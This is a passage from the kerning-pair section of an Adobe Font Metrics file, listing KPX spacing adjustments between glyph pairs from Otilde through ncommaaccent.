KPX Otilde X -50
KPX Otilde Y -70
KPX Otilde Yacute -70
KPX Otilde Ydieresis -70
KPX Otilde comma -40
KPX Otilde period -40
KPX P A -100
KPX P Aacute -100
KPX P Abreve -100
KPX P Acircumflex -100
KPX P Adieresis -100
KPX P Agrave -100
KPX P Amacron -100
KPX P Aogonek -100
KPX P Aring -100
KPX P Atilde -100
KPX P a -30
KPX P aacute -30
KPX P abreve -30
KPX P acircumflex -30
KPX P adieresis -30
KPX P agrave -30
KPX P amacron -30
KPX P aogonek -30
KPX P aring -30
KPX P atilde -30
KPX P comma -120
KPX P e -30
KPX P eacute -30
KPX P ecaron -30
KPX P ecircumflex -30
KPX P edieresis -30
KPX P edotaccent -30
KPX P egrave -30
KPX P emacron -30
KPX P eogonek -30
KPX P o -40
KPX P oacute -40
KPX P ocircumflex -40
KPX P odieresis -40
KPX P ograve -40
KPX P ohungarumlaut -40
KPX P omacron -40
KPX P oslash -40
KPX P otilde -40
KPX P period -120
KPX Q U -10
KPX Q Uacute -10
KPX Q Ucircumflex -10
KPX Q Udieresis -10
KPX Q Ugrave -10
KPX Q Uhungarumlaut -10
KPX Q Umacron -10
KPX Q Uogonek -10
KPX Q Uring -10
KPX Q comma 20
KPX Q period 20
KPX R O -20
KPX R Oacute -20
KPX R Ocircumflex -20
KPX R Odieresis -20
KPX R Ograve -20
KPX R Ohungarumlaut -20
KPX R Omacron -20
KPX R Oslash -20
KPX R Otilde -20
KPX R T -20
KPX R Tcaron -20
KPX R Tcommaaccent -20
KPX R U -20
KPX R Uacute -20
KPX R Ucircumflex -20
KPX R Udieresis -20
KPX R Ugrave -20
KPX R Uhungarumlaut -20
KPX R Umacron -20
KPX R Uogonek -20
KPX R Uring -20
KPX R V -50
KPX R W -40
KPX R Y -50
KPX R Yacute -50
KPX R Ydieresis -50
KPX Racute O -20
KPX Racute Oacute -20
KPX Racute Ocircumflex -20
KPX Racute Odieresis -20
KPX Racute Ograve -20
KPX Racute Ohungarumlaut -20
KPX Racute Omacron -20
KPX Racute Oslash -20
KPX Racute Otilde -20
KPX Racute T -20
KPX Racute Tcaron -20
KPX Racute Tcommaaccent -20
KPX Racute U -20
KPX Racute Uacute -20
KPX Racute Ucircumflex -20
KPX Racute Udieresis -20
KPX Racute Ugrave -20
KPX Racute Uhungarumlaut -20
KPX Racute Umacron -20
KPX Racute Uogonek -20
KPX Racute Uring -20
KPX Racute V -50
KPX Racute W -40
KPX Racute Y -50
KPX Racute Yacute -50
KPX Racute Ydieresis -50
KPX Rcaron O -20
KPX Rcaron Oacute -20
KPX Rcaron Ocircumflex -20
KPX Rcaron Odieresis -20
KPX Rcaron Ograve -20
KPX Rcaron Ohungarumlaut -20
KPX Rcaron Omacron -20
KPX Rcaron Oslash -20
KPX Rcaron Otilde -20
KPX Rcaron T -20
KPX Rcaron Tcaron -20
KPX Rcaron Tcommaaccent -20
KPX Rcaron U -20
KPX Rcaron Uacute -20
KPX Rcaron Ucircumflex -20
KPX Rcaron Udieresis -20
KPX Rcaron Ugrave -20
KPX Rcaron Uhungarumlaut -20
KPX Rcaron Umacron -20
KPX Rcaron Uogonek -20
KPX Rcaron Uring -20
KPX Rcaron V -50
KPX Rcaron W -40
KPX Rcaron Y -50
KPX Rcaron Yacute -50
KPX Rcaron Ydieresis -50
KPX Rcommaaccent O -20
KPX Rcommaaccent Oacute -20
KPX Rcommaaccent Ocircumflex -20
KPX Rcommaaccent Odieresis -20
KPX Rcommaaccent Ograve -20
KPX Rcommaaccent Ohungarumlaut -20
KPX Rcommaaccent Omacron -20
KPX Rcommaaccent Oslash -20
KPX Rcommaaccent Otilde -20
KPX Rcommaaccent T -20
KPX Rcommaaccent Tcaron -20
KPX Rcommaaccent Tcommaaccent -20
KPX Rcommaaccent U -20
KPX Rcommaaccent Uacute -20
KPX Rcommaaccent Ucircumflex -20
KPX Rcommaaccent Udieresis -20
KPX Rcommaaccent Ugrave -20
KPX Rcommaaccent Uhungarumlaut -20
KPX Rcommaaccent Umacron -20
KPX Rcommaaccent Uogonek -20
KPX Rcommaaccent Uring -20
KPX Rcommaaccent V -50
KPX Rcommaaccent W -40
KPX Rcommaaccent Y -50
KPX Rcommaaccent Yacute -50
KPX Rcommaaccent Ydieresis -50
KPX T A -90
KPX T Aacute -90
KPX T Abreve -90
KPX T Acircumflex -90
KPX T Adieresis -90
KPX T Agrave -90
KPX T Amacron -90
KPX T Aogonek -90
KPX T Aring -90
KPX T Atilde -90
KPX T O -40
KPX T Oacute -40
KPX T Ocircumflex -40
KPX T Odieresis -40
KPX T Ograve -40
KPX T Ohungarumlaut -40
KPX T Omacron -40
KPX T Oslash -40
KPX T Otilde -40
KPX T a -80
KPX T aacute -80
KPX T abreve -80
KPX T acircumflex -80
KPX T adieresis -80
KPX T agrave -80
KPX T amacron -80
KPX T aogonek -80
KPX T aring -80
KPX T atilde -80
KPX T colon -40
KPX T comma -80
KPX T e -60
KPX T eacute -60
KPX T ecaron -60
KPX T ecircumflex -60
KPX T edieresis -60
KPX T edotaccent -60
KPX T egrave -60
KPX T emacron -60
KPX T eogonek -60
KPX T hyphen -120
KPX T o -80
KPX T oacute -80
KPX T ocircumflex -80
KPX T odieresis -80
KPX T ograve -80
KPX T ohungarumlaut -80
KPX T omacron -80
KPX T oslash -80
KPX T otilde -80
KPX T period -80
KPX T r -80
KPX T racute -80
KPX T rcommaaccent -80
KPX T semicolon -40
KPX T u -90
KPX T uacute -90
KPX T ucircumflex -90
KPX T udieresis -90
KPX T ugrave -90
KPX T uhungarumlaut -90
KPX T umacron -90
KPX T uogonek -90
KPX T uring -90
KPX T w -60
KPX T y -60
KPX T yacute -60
KPX T ydieresis -60
KPX Tcaron A -90
KPX Tcaron Aacute -90
KPX Tcaron Abreve -90
KPX Tcaron Acircumflex -90
KPX Tcaron Adieresis -90
KPX Tcaron Agrave -90
KPX Tcaron Amacron -90
KPX Tcaron Aogonek -90
KPX Tcaron Aring -90
KPX Tcaron Atilde -90
KPX Tcaron O -40
KPX Tcaron Oacute -40
KPX Tcaron Ocircumflex -40
KPX Tcaron Odieresis -40
KPX Tcaron Ograve -40
KPX Tcaron Ohungarumlaut -40
KPX Tcaron Omacron -40
KPX Tcaron Oslash -40
KPX Tcaron Otilde -40
KPX Tcaron a -80
KPX Tcaron aacute -80
KPX Tcaron abreve -80
KPX Tcaron acircumflex -80
KPX Tcaron adieresis -80
KPX Tcaron agrave -80
KPX Tcaron amacron -80
KPX Tcaron aogonek -80
KPX Tcaron aring -80
KPX Tcaron atilde -80
KPX Tcaron colon -40
KPX Tcaron comma -80
KPX Tcaron e -60
KPX Tcaron eacute -60
KPX Tcaron ecaron -60
KPX Tcaron ecircumflex -60
KPX Tcaron edieresis -60
KPX Tcaron edotaccent -60
KPX Tcaron egrave -60
KPX Tcaron emacron -60
KPX Tcaron eogonek -60
KPX Tcaron hyphen -120
KPX Tcaron o -80
KPX Tcaron oacute -80
KPX Tcaron ocircumflex -80
KPX Tcaron odieresis -80
KPX Tcaron ograve -80
KPX Tcaron ohungarumlaut -80
KPX Tcaron omacron -80
KPX Tcaron oslash -80
KPX Tcaron otilde -80
KPX Tcaron period -80
KPX Tcaron r -80
KPX Tcaron racute -80
KPX Tcaron rcommaaccent -80
KPX Tcaron semicolon -40
KPX Tcaron u -90
KPX Tcaron uacute -90
KPX Tcaron ucircumflex -90
KPX Tcaron udieresis -90
KPX Tcaron ugrave -90
KPX Tcaron uhungarumlaut -90
KPX Tcaron umacron -90
KPX Tcaron uogonek -90
KPX Tcaron uring -90
KPX Tcaron w -60
KPX Tcaron y -60
KPX Tcaron yacute -60
KPX Tcaron ydieresis -60
KPX Tcommaaccent A -90
KPX Tcommaaccent Aacute -90
KPX Tcommaaccent Abreve -90
KPX Tcommaaccent Acircumflex -90
KPX Tcommaaccent Adieresis -90
KPX Tcommaaccent Agrave -90
KPX Tcommaaccent Amacron -90
KPX Tcommaaccent Aogonek -90
KPX Tcommaaccent Aring -90
KPX Tcommaaccent Atilde -90
KPX Tcommaaccent O -40
KPX Tcommaaccent Oacute -40
KPX Tcommaaccent Ocircumflex -40
KPX Tcommaaccent Odieresis -40
KPX Tcommaaccent Ograve -40
KPX Tcommaaccent Ohungarumlaut -40
KPX Tcommaaccent Omacron -40
KPX Tcommaaccent Oslash -40
KPX Tcommaaccent Otilde -40
KPX Tcommaaccent a -80
KPX Tcommaaccent aacute -80
KPX Tcommaaccent abreve -80
KPX Tcommaaccent acircumflex -80
KPX Tcommaaccent adieresis -80
KPX Tcommaaccent agrave -80
KPX Tcommaaccent amacron -80
KPX Tcommaaccent aogonek -80
KPX Tcommaaccent aring -80
KPX Tcommaaccent atilde -80
KPX Tcommaaccent colon -40
KPX Tcommaaccent comma -80
KPX Tcommaaccent e -60
KPX Tcommaaccent eacute -60
KPX Tcommaaccent ecaron -60
KPX Tcommaaccent ecircumflex -60
KPX Tcommaaccent edieresis -60
KPX Tcommaaccent edotaccent -60
KPX Tcommaaccent egrave -60
KPX Tcommaaccent emacron -60
KPX Tcommaaccent eogonek -60
KPX Tcommaaccent hyphen -120
KPX Tcommaaccent o -80
KPX Tcommaaccent oacute -80
KPX Tcommaaccent ocircumflex -80
KPX Tcommaaccent odieresis -80
KPX Tcommaaccent ograve -80
KPX Tcommaaccent ohungarumlaut -80
KPX Tcommaaccent omacron -80
KPX Tcommaaccent oslash -80
KPX Tcommaaccent otilde -80
KPX Tcommaaccent period -80
KPX Tcommaaccent r -80
KPX Tcommaaccent racute -80
KPX Tcommaaccent rcommaaccent -80
KPX Tcommaaccent semicolon -40
KPX Tcommaaccent u -90
KPX Tcommaaccent uacute -90
KPX Tcommaaccent ucircumflex -90
KPX Tcommaaccent udieresis -90
KPX Tcommaaccent ugrave -90
KPX Tcommaaccent uhungarumlaut -90
KPX Tcommaaccent umacron -90
KPX Tcommaaccent uogonek -90
KPX Tcommaaccent uring -90
KPX Tcommaaccent w -60
KPX Tcommaaccent y -60
KPX Tcommaaccent yacute -60
KPX Tcommaaccent ydieresis -60
KPX U A -50
KPX U Aacute -50
KPX U Abreve -50
KPX U Acircumflex -50
KPX U Adieresis -50
KPX U Agrave -50
KPX U Amacron -50
KPX U Aogonek -50
KPX U Aring -50
KPX U Atilde -50
KPX U comma -30
KPX U period -30
KPX Uacute A -50
KPX Uacute Aacute -50
KPX Uacute Abreve -50
KPX Uacute Acircumflex -50
KPX Uacute Adieresis -50
KPX Uacute Agrave -50
KPX Uacute Amacron -50
KPX Uacute Aogonek -50
KPX Uacute Aring -50
KPX Uacute Atilde -50
KPX Uacute comma -30
KPX Uacute period -30
KPX Ucircumflex A -50
KPX Ucircumflex Aacute -50
KPX Ucircumflex Abreve -50
KPX Ucircumflex Acircumflex -50
KPX Ucircumflex Adieresis -50
KPX Ucircumflex Agrave -50
KPX Ucircumflex Amacron -50
KPX Ucircumflex Aogonek -50
KPX Ucircumflex Aring -50
KPX Ucircumflex Atilde -50
KPX Ucircumflex comma -30
KPX Ucircumflex period -30
KPX Udieresis A -50
KPX Udieresis Aacute -50
KPX Udieresis Abreve -50
KPX Udieresis Acircumflex -50
KPX Udieresis Adieresis -50
KPX Udieresis Agrave -50
KPX Udieresis Amacron -50
KPX Udieresis Aogonek -50
KPX Udieresis Aring -50
KPX Udieresis Atilde -50
KPX Udieresis comma -30
KPX Udieresis period -30
KPX Ugrave A -50
KPX Ugrave Aacute -50
KPX Ugrave Abreve -50
KPX Ugrave Acircumflex -50
KPX Ugrave Adieresis -50
KPX Ugrave Agrave -50
KPX Ugrave Amacron -50
KPX Ugrave Aogonek -50
KPX Ugrave Aring -50
KPX Ugrave Atilde -50
KPX Ugrave comma -30
KPX Ugrave period -30
KPX Uhungarumlaut A -50
KPX Uhungarumlaut Aacute -50
KPX Uhungarumlaut Abreve -50
KPX Uhungarumlaut Acircumflex -50
KPX Uhungarumlaut Adieresis -50
KPX Uhungarumlaut Agrave -50
KPX Uhungarumlaut Amacron -50
KPX Uhungarumlaut Aogonek -50
KPX Uhungarumlaut Aring -50
KPX Uhungarumlaut Atilde -50
KPX Uhungarumlaut comma -30
KPX Uhungarumlaut period -30
KPX Umacron A -50
KPX Umacron Aacute -50
KPX Umacron Abreve -50
KPX Umacron Acircumflex -50
KPX Umacron Adieresis -50
KPX Umacron Agrave -50
KPX Umacron Amacron -50
KPX Umacron Aogonek -50
KPX Umacron Aring -50
KPX Umacron Atilde -50
KPX Umacron comma -30
KPX Umacron period -30
KPX Uogonek A -50
KPX Uogonek Aacute -50
KPX Uogonek Abreve -50
KPX Uogonek Acircumflex -50
KPX Uogonek Adieresis -50
KPX Uogonek Agrave -50
KPX Uogonek Amacron -50
KPX Uogonek Aogonek -50
KPX Uogonek Aring -50
KPX Uogonek Atilde -50
KPX Uogonek comma -30
KPX Uogonek period -30
KPX Uring A -50
KPX Uring Aacute -50
KPX Uring Abreve -50
KPX Uring Acircumflex -50
KPX Uring Adieresis -50
KPX Uring Agrave -50
KPX Uring Amacron -50
KPX Uring Aogonek -50
KPX Uring Aring -50
KPX Uring Atilde -50
KPX Uring comma -30
KPX Uring period -30
KPX V A -80
KPX V Aacute -80
KPX V Abreve -80
KPX V Acircumflex -80
KPX V Adieresis -80
KPX V Agrave -80
KPX V Amacron -80
KPX V Aogonek -80
KPX V Aring -80
KPX V Atilde -80
KPX V G -50
KPX V Gbreve -50
KPX V Gcommaaccent -50
KPX V O -50
KPX V Oacute -50
KPX V Ocircumflex -50
KPX V Odieresis -50
KPX V Ograve -50
KPX V Ohungarumlaut -50
KPX V Omacron -50
KPX V Oslash -50
KPX V Otilde -50
KPX V a -60
KPX V aacute -60
KPX V abreve -60
KPX V acircumflex -60
KPX V adieresis -60
KPX V agrave -60
KPX V amacron -60
KPX V aogonek -60
KPX V aring -60
KPX V atilde -60
KPX V colon -40
KPX V comma -120
KPX V e -50
KPX V eacute -50
KPX V ecaron -50
KPX V ecircumflex -50
KPX V edieresis -50
KPX V edotaccent -50
KPX V egrave -50
KPX V emacron -50
KPX V eogonek -50
KPX V hyphen -80
KPX V o -90
KPX V oacute -90
KPX V ocircumflex -90
KPX V odieresis -90
KPX V ograve -90
KPX V ohungarumlaut -90
KPX V omacron -90
KPX V oslash -90
KPX V otilde -90
KPX V period -120
KPX V semicolon -40
KPX V u -60
KPX V uacute -60
KPX V ucircumflex -60
KPX V udieresis -60
KPX V ugrave -60
KPX V uhungarumlaut -60
KPX V umacron -60
KPX V uogonek -60
KPX V uring -60
KPX W A -60
KPX W Aacute -60
KPX W Abreve -60
KPX W Acircumflex -60
KPX W Adieresis -60
KPX W Agrave -60
KPX W Amacron -60
KPX W Aogonek -60
KPX W Aring -60
KPX W Atilde -60
KPX W O -20
KPX W Oacute -20
KPX W Ocircumflex -20
KPX W Odieresis -20
KPX W Ograve -20
KPX W Ohungarumlaut -20
KPX W Omacron -20
KPX W Oslash -20
KPX W Otilde -20
KPX W a -40
KPX W aacute -40
KPX W abreve -40
KPX W acircumflex -40
KPX W adieresis -40
KPX W agrave -40
KPX W amacron -40
KPX W aogonek -40
KPX W aring -40
KPX W atilde -40
KPX W colon -10
KPX W comma -80
KPX W e -35
KPX W eacute -35
KPX W ecaron -35
KPX W ecircumflex -35
KPX W edieresis -35
KPX W edotaccent -35
KPX W egrave -35
KPX W emacron -35
KPX W eogonek -35
KPX W hyphen -40
KPX W o -60
KPX W oacute -60
KPX W ocircumflex -60
KPX W odieresis -60
KPX W ograve -60
KPX W ohungarumlaut -60
KPX W omacron -60
KPX W oslash -60
KPX W otilde -60
KPX W period -80
KPX W semicolon -10
KPX W u -45
KPX W uacute -45
KPX W ucircumflex -45
KPX W udieresis -45
KPX W ugrave -45
KPX W uhungarumlaut -45
KPX W umacron -45
KPX W uogonek -45
KPX W uring -45
KPX W y -20
KPX W yacute -20
KPX W ydieresis -20
KPX Y A -110
KPX Y Aacute -110
KPX Y Abreve -110
KPX Y Acircumflex -110
KPX Y Adieresis -110
KPX Y Agrave -110
KPX Y Amacron -110
KPX Y Aogonek -110
KPX Y Aring -110
KPX Y Atilde -110
KPX Y O -70
KPX Y Oacute -70
KPX Y Ocircumflex -70
KPX Y Odieresis -70
KPX Y Ograve -70
KPX Y Ohungarumlaut -70
KPX Y Omacron -70
KPX Y Oslash -70
KPX Y Otilde -70
KPX Y a -90
KPX Y aacute -90
KPX Y abreve -90
KPX Y acircumflex -90
KPX Y adieresis -90
KPX Y agrave -90
KPX Y amacron -90
KPX Y aogonek -90
KPX Y aring -90
KPX Y atilde -90
KPX Y colon -50
KPX Y comma -100
KPX Y e -80
KPX Y eacute -80
KPX Y ecaron -80
KPX Y ecircumflex -80
KPX Y edieresis -80
KPX Y edotaccent -80
KPX Y egrave -80
KPX Y emacron -80
KPX Y eogonek -80
KPX Y o -100
KPX Y oacute -100
KPX Y ocircumflex -100
KPX Y odieresis -100
KPX Y ograve -100
KPX Y ohungarumlaut -100
KPX Y omacron -100
KPX Y oslash -100
KPX Y otilde -100
KPX Y period -100
KPX Y semicolon -50
KPX Y u -100
KPX Y uacute -100
KPX Y ucircumflex -100
KPX Y udieresis -100
KPX Y ugrave -100
KPX Y uhungarumlaut -100
KPX Y umacron -100
KPX Y uogonek -100
KPX Y uring -100
KPX Yacute A -110
KPX Yacute Aacute -110
KPX Yacute Abreve -110
KPX Yacute Acircumflex -110
KPX Yacute Adieresis -110
KPX Yacute Agrave -110
KPX Yacute Amacron -110
KPX Yacute Aogonek -110
KPX Yacute Aring -110
KPX Yacute Atilde -110
KPX Yacute O -70
KPX Yacute Oacute -70
KPX Yacute Ocircumflex -70
KPX Yacute Odieresis -70
KPX Yacute Ograve -70
KPX Yacute Ohungarumlaut -70
KPX Yacute Omacron -70
KPX Yacute Oslash -70
KPX Yacute Otilde -70
KPX Yacute a -90
KPX Yacute aacute -90
KPX Yacute abreve -90
KPX Yacute acircumflex -90
KPX Yacute adieresis -90
KPX Yacute agrave -90
KPX Yacute amacron -90
KPX Yacute aogonek -90
KPX Yacute aring -90
KPX Yacute atilde -90
KPX Yacute colon -50
KPX Yacute comma -100
KPX Yacute e -80
KPX Yacute eacute -80
KPX Yacute ecaron -80
KPX Yacute ecircumflex -80
KPX Yacute edieresis -80
KPX Yacute edotaccent -80
KPX Yacute egrave -80
KPX Yacute emacron -80
KPX Yacute eogonek -80
KPX Yacute o -100
KPX Yacute oacute -100
KPX Yacute ocircumflex -100
KPX Yacute odieresis -100
KPX Yacute ograve -100
KPX Yacute ohungarumlaut -100
KPX Yacute omacron -100
KPX Yacute oslash -100
KPX Yacute otilde -100
KPX Yacute period -100
KPX Yacute semicolon -50
KPX Yacute u -100
KPX Yacute uacute -100
KPX Yacute ucircumflex -100
KPX Yacute udieresis -100
KPX Yacute ugrave -100
KPX Yacute uhungarumlaut -100
KPX Yacute umacron -100
KPX Yacute uogonek -100
KPX Yacute uring -100
KPX Ydieresis A -110
KPX Ydieresis Aacute -110
KPX Ydieresis Abreve -110
KPX Ydieresis Acircumflex -110
KPX Ydieresis Adieresis -110
KPX Ydieresis Agrave -110
KPX Ydieresis Amacron -110
KPX Ydieresis Aogonek -110
KPX Ydieresis Aring -110
KPX Ydieresis Atilde -110
KPX Ydieresis O -70
KPX Ydieresis Oacute -70
KPX Ydieresis Ocircumflex -70
KPX Ydieresis Odieresis -70
KPX Ydieresis Ograve -70
KPX Ydieresis Ohungarumlaut -70
KPX Ydieresis Omacron -70
KPX Ydieresis Oslash -70
KPX Ydieresis Otilde -70
KPX Ydieresis a -90
KPX Ydieresis aacute -90
KPX Ydieresis abreve -90
KPX Ydieresis acircumflex -90
KPX Ydieresis adieresis -90
KPX Ydieresis agrave -90
KPX Ydieresis amacron -90
KPX Ydieresis aogonek -90
KPX Ydieresis aring -90
KPX Ydieresis atilde -90
KPX Ydieresis colon -50
KPX Ydieresis comma -100
KPX Ydieresis e -80
KPX Ydieresis eacute -80
KPX Ydieresis ecaron -80
KPX Ydieresis ecircumflex -80
KPX Ydieresis edieresis -80
KPX Ydieresis edotaccent -80
KPX Ydieresis egrave -80
KPX Ydieresis emacron -80
KPX Ydieresis eogonek -80
KPX Ydieresis o -100
KPX Ydieresis oacute -100
KPX Ydieresis ocircumflex -100
KPX Ydieresis odieresis -100
KPX Ydieresis ograve -100
KPX Ydieresis ohungarumlaut -100
KPX Ydieresis omacron -100
KPX Ydieresis oslash -100
KPX Ydieresis otilde -100
KPX Ydieresis period -100
KPX Ydieresis semicolon -50
KPX Ydieresis u -100
KPX Ydieresis uacute -100
KPX Ydieresis ucircumflex -100
KPX Ydieresis udieresis -100
KPX Ydieresis ugrave -100
KPX Ydieresis uhungarumlaut -100
KPX Ydieresis umacron -100
KPX Ydieresis uogonek -100
KPX Ydieresis uring -100
KPX a g -10
KPX a gbreve -10
KPX a gcommaaccent -10
KPX a v -15
KPX a w -15
KPX a y -20
KPX a yacute -20
KPX a ydieresis -20
KPX aacute g -10
KPX aacute gbreve -10
KPX aacute gcommaaccent -10
KPX aacute v -15
KPX aacute w -15
KPX aacute y -20
KPX aacute yacute -20
KPX aacute ydieresis -20
KPX abreve g -10
KPX abreve gbreve -10
KPX abreve gcommaaccent -10
KPX abreve v -15
KPX abreve w -15
KPX abreve y -20
KPX abreve yacute -20
KPX abreve ydieresis -20
KPX acircumflex g -10
KPX acircumflex gbreve -10
KPX acircumflex gcommaaccent -10
KPX acircumflex v -15
KPX acircumflex w -15
KPX acircumflex y -20
KPX acircumflex yacute -20
KPX acircumflex ydieresis -20
KPX adieresis g -10
KPX adieresis gbreve -10
KPX adieresis gcommaaccent -10
KPX adieresis v -15
KPX adieresis w -15
KPX adieresis y -20
KPX adieresis yacute -20
KPX adieresis ydieresis -20
KPX agrave g -10
KPX agrave gbreve -10
KPX agrave gcommaaccent -10
KPX agrave v -15
KPX agrave w -15
KPX agrave y -20
KPX agrave yacute -20
KPX agrave ydieresis -20
KPX amacron g -10
KPX amacron gbreve -10
KPX amacron gcommaaccent -10
KPX amacron v -15
KPX amacron w -15
KPX amacron y -20
KPX amacron yacute -20
KPX amacron ydieresis -20
KPX aogonek g -10
KPX aogonek gbreve -10
KPX aogonek gcommaaccent -10
KPX aogonek v -15
KPX aogonek w -15
KPX aogonek y -20
KPX aogonek yacute -20
KPX aogonek ydieresis -20
KPX aring g -10
KPX aring gbreve -10
KPX aring gcommaaccent -10
KPX aring v -15
KPX aring w -15
KPX aring y -20
KPX aring yacute -20
KPX aring ydieresis -20
KPX atilde g -10
KPX atilde gbreve -10
KPX atilde gcommaaccent -10
KPX atilde v -15
KPX atilde w -15
KPX atilde y -20
KPX atilde yacute -20
KPX atilde ydieresis -20
KPX b l -10
KPX b lacute -10
KPX b lcommaaccent -10
KPX b lslash -10
KPX b u -20
KPX b uacute -20
KPX b ucircumflex -20
KPX b udieresis -20
KPX b ugrave -20
KPX b uhungarumlaut -20
KPX b umacron -20
KPX b uogonek -20
KPX b uring -20
KPX b v -20
KPX b y -20
KPX b yacute -20
KPX b ydieresis -20
KPX c h -10
KPX c k -20
KPX c kcommaaccent -20
KPX c l -20
KPX c lacute -20
KPX c lcommaaccent -20
KPX c lslash -20
KPX c y -10
KPX c yacute -10
KPX c ydieresis -10
KPX cacute h -10
KPX cacute k -20
KPX cacute kcommaaccent -20
KPX cacute l -20
KPX cacute lacute -20
KPX cacute lcommaaccent -20
KPX cacute lslash -20
KPX cacute y -10
KPX cacute yacute -10
KPX cacute ydieresis -10
KPX ccaron h -10
KPX ccaron k -20
KPX ccaron kcommaaccent -20
KPX ccaron l -20
KPX ccaron lacute -20
KPX ccaron lcommaaccent -20
KPX ccaron lslash -20
KPX ccaron y -10
KPX ccaron yacute -10
KPX ccaron ydieresis -10
KPX ccedilla h -10
KPX ccedilla k -20
KPX ccedilla kcommaaccent -20
KPX ccedilla l -20
KPX ccedilla lacute -20
KPX ccedilla lcommaaccent -20
KPX ccedilla lslash -20
KPX ccedilla y -10
KPX ccedilla yacute -10
KPX ccedilla ydieresis -10
KPX colon space -40
KPX comma quotedblright -120
KPX comma quoteright -120
KPX comma space -40
KPX d d -10
KPX d dcroat -10
KPX d v -15
KPX d w -15
KPX d y -15
KPX d yacute -15
KPX d ydieresis -15
KPX dcroat d -10
KPX dcroat dcroat -10
KPX dcroat v -15
KPX dcroat w -15
KPX dcroat y -15
KPX dcroat yacute -15
KPX dcroat ydieresis -15
KPX e comma 10
KPX e period 20
KPX e v -15
KPX e w -15
KPX e x -15
KPX e y -15
KPX e yacute -15
KPX e ydieresis -15
KPX eacute comma 10
KPX eacute period 20
KPX eacute v -15
KPX eacute w -15
KPX eacute x -15
KPX eacute y -15
KPX eacute yacute -15
KPX eacute ydieresis -15
KPX ecaron comma 10
KPX ecaron period 20
KPX ecaron v -15
KPX ecaron w -15
KPX ecaron x -15
KPX ecaron y -15
KPX ecaron yacute -15
KPX ecaron ydieresis -15
KPX ecircumflex comma 10
KPX ecircumflex period 20
KPX ecircumflex v -15
KPX ecircumflex w -15
KPX ecircumflex x -15
KPX ecircumflex y -15
KPX ecircumflex yacute -15
KPX ecircumflex ydieresis -15
KPX edieresis comma 10
KPX edieresis period 20
KPX edieresis v -15
KPX edieresis w -15
KPX edieresis x -15
KPX edieresis y -15
KPX edieresis yacute -15
KPX edieresis ydieresis -15
KPX edotaccent comma 10
KPX edotaccent period 20
KPX edotaccent v -15
KPX edotaccent w -15
KPX edotaccent x -15
KPX edotaccent y -15
KPX edotaccent yacute -15
KPX edotaccent ydieresis -15
KPX egrave comma 10
KPX egrave period 20
KPX egrave v -15
KPX egrave w -15
KPX egrave x -15
KPX egrave y -15
KPX egrave yacute -15
KPX egrave ydieresis -15
KPX emacron comma 10
KPX emacron period 20
KPX emacron v -15
KPX emacron w -15
KPX emacron x -15
KPX emacron y -15
KPX emacron yacute -15
KPX emacron ydieresis -15
KPX eogonek comma 10
KPX eogonek period 20
KPX eogonek v -15
KPX eogonek w -15
KPX eogonek x -15
KPX eogonek y -15
KPX eogonek yacute -15
KPX eogonek ydieresis -15
KPX f comma -10
KPX f e -10
KPX f eacute -10
KPX f ecaron -10
KPX f ecircumflex -10
KPX f edieresis -10
KPX f edotaccent -10
KPX f egrave -10
KPX f emacron -10
KPX f eogonek -10
KPX f o -20
KPX f oacute -20
KPX f ocircumflex -20
KPX f odieresis -20
KPX f ograve -20
KPX f ohungarumlaut -20
KPX f omacron -20
KPX f oslash -20
KPX f otilde -20
KPX f period -10
KPX f quotedblright 30
KPX f quoteright 30
KPX g e 10
KPX g eacute 10
KPX g ecaron 10
KPX g ecircumflex 10
KPX g edieresis 10
KPX g edotaccent 10
KPX g egrave 10
KPX g emacron 10
KPX g eogonek 10
KPX g g -10
KPX g gbreve -10
KPX g gcommaaccent -10
KPX gbreve e 10
KPX gbreve eacute 10
KPX gbreve ecaron 10
KPX gbreve ecircumflex 10
KPX gbreve edieresis 10
KPX gbreve edotaccent 10
KPX gbreve egrave 10
KPX gbreve emacron 10
KPX gbreve eogonek 10
KPX gbreve g -10
KPX gbreve gbreve -10
KPX gbreve gcommaaccent -10
KPX gcommaaccent e 10
KPX gcommaaccent eacute 10
KPX gcommaaccent ecaron 10
KPX gcommaaccent ecircumflex 10
KPX gcommaaccent edieresis 10
KPX gcommaaccent edotaccent 10
KPX gcommaaccent egrave 10
KPX gcommaaccent emacron 10
KPX gcommaaccent eogonek 10
KPX gcommaaccent g -10
KPX gcommaaccent gbreve -10
KPX gcommaaccent gcommaaccent -10
KPX h y -20
KPX h yacute -20
KPX h ydieresis -20
KPX k o -15
KPX k oacute -15
KPX k ocircumflex -15
KPX k odieresis -15
KPX k ograve -15
KPX k ohungarumlaut -15
KPX k omacron -15
KPX k oslash -15
KPX k otilde -15
KPX kcommaaccent o -15
KPX kcommaaccent oacute -15
KPX kcommaaccent ocircumflex -15
KPX kcommaaccent odieresis -15
KPX kcommaaccent ograve -15
KPX kcommaaccent ohungarumlaut -15
KPX kcommaaccent omacron -15
KPX kcommaaccent oslash -15
KPX kcommaaccent otilde -15
KPX l w -15
KPX l y -15
KPX l yacute -15
KPX l ydieresis -15
KPX lacute w -15
KPX lacute y -15
KPX lacute yacute -15
KPX lacute ydieresis -15
KPX lcommaaccent w -15
KPX lcommaaccent y -15
KPX lcommaaccent yacute -15
KPX lcommaaccent ydieresis -15
KPX lslash w -15
KPX lslash y -15
KPX lslash yacute -15
KPX lslash ydieresis -15
KPX m u -20
KPX m uacute -20
KPX m ucircumflex -20
KPX m udieresis -20
KPX m ugrave -20
KPX m uhungarumlaut -20
KPX m umacron -20
KPX m uogonek -20
KPX m uring -20
KPX m y -30
KPX m yacute -30
KPX m ydieresis -30
KPX n u -10
KPX n uacute -10
KPX n ucircumflex -10
KPX n udieresis -10
KPX n ugrave -10
KPX n uhungarumlaut -10
KPX n umacron -10
KPX n uogonek -10
KPX n uring -10
KPX n v -40
KPX n y -20
KPX n yacute -20
KPX n ydieresis -20
KPX nacute u -10
KPX nacute uacute -10
KPX nacute ucircumflex -10
KPX nacute udieresis -10
KPX nacute ugrave -10
KPX nacute uhungarumlaut -10
KPX nacute umacron -10
KPX nacute uogonek -10
KPX nacute uring -10
KPX nacute v -40
KPX nacute y -20
KPX nacute yacute -20
KPX nacute ydieresis -20
KPX ncaron u -10
KPX ncaron uacute -10
KPX ncaron ucircumflex -10
KPX ncaron udieresis -10
KPX ncaron ugrave -10
KPX ncaron uhungarumlaut -10
KPX ncaron umacron -10
KPX ncaron uogonek -10
KPX ncaron uring -10
KPX ncaron v -40
KPX ncaron y -20
KPX ncaron yacute -20
KPX ncaron ydieresis -20
KPX ncommaaccent u -10
KPX ncommaaccent uacute -10
KPX ncommaaccent ucircumflex -10
KPX ncommaaccent udieresis -10
